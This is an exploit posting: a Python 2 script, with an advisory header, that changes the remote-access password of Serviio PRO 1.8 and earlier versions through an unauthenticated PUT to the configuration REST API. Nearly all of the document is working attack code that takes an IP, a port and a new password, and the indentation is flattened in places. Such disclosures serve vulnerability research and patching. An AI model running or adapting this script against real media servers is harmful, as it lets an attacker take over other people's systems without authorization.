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Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change

Posted on 04 May 2017

#!/usr/bin/env python
#
#
# Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change
#
#
# Vendor: Petr Nejedly | Six Lines Ltd
# Product web page: http://www.serviio.org
# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1
#
# Summary: Serviio is a free media server. It allows you to stream your media
# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,
# games console or mobile phone) on your connected home network.
#
# Desc: The version of Serviio installed on the remote Windows/Linux host is affected
# by an unauthenticated password modification vulnerability due to improper access
# control enforcement of the Configuration REST API. A remote attacker can exploit this,
# via a specially crafted request, to change the login password for the mediabrowser protected
# page.
#
# Tested on: Restlet-Framework/2.2
# Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
# Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
# Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5407
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5407.php
#
# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094
#
#
# 12.12.2016
#

import sys
import xml.etree.ElementTree as ET
from urllib2 import Request, urlopen

if (len(sys.argv) <= 3):
print '[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>'
print '[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2'
exit(0)

host = sys.argv[1]
port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424.
lozi = sys.argv[3]

values = """
<remoteAccess>
<remoteUserPassword>{0}</remoteUserPassword>
<preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality>
<portMappingEnabled>true</portMappingEnabled>
<externalAddress>myserviio.dyndns.com</externalAddress>
</remoteAccess>"""

put = values.format(lozi)

headers = {
'Content-Type': 'application/xml',
'Accept': 'application/xml'
}
request = Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers)
request.get_method = lambda: 'PUT'
response_body = urlopen(request).read()
roottree = ET.fromstring(response_body)

for errorcode in roottree.iter('errorCode'):
print "
Received error code: "+errorcode.text

print 'Password successfully changed to: '+lozi
print 'Go to: http://'+host+':23424/mediabrowser
'

 

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